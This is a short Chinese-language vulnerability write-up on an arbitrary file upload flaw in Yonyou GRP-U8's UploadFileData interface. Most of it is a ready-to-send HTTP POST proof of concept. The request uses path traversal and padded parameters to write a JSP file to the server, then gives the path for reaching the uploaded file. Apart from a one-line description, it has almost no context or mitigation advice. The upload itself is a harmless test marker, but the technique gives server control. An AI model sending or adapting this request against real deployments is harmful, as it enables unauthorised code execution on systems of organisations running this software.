# 用友 GRP-U8 UploadFileData 任意文件上传漏洞
# 漏洞描述
用友 GRP-U8 UploadFileData接口存在任意文件上传漏洞，攻击者通过漏洞可以获取服务器权限
# 漏洞影响
# 网络测绘
# 漏洞复现
登录页面
验证POC
POST /UploadFileData?action=upload_file&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&foldername=%2e%2e%2f&filename=debugg.jsp&filename=1.jpg HTTP/1.1
Host:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=59227D2C93FE3E8C2626DA625CE710F9
Content-Type: multipart/form-data
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
------WebKitFormBoundary92pUawKc
Content-Disposition: form-data; name="myFile";filename="test.jpg"
<% out.println("123");%>
------WebKitFormBoundary92pUawKc--
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访问写入的文件
/R9iPortal/debugg.jsp
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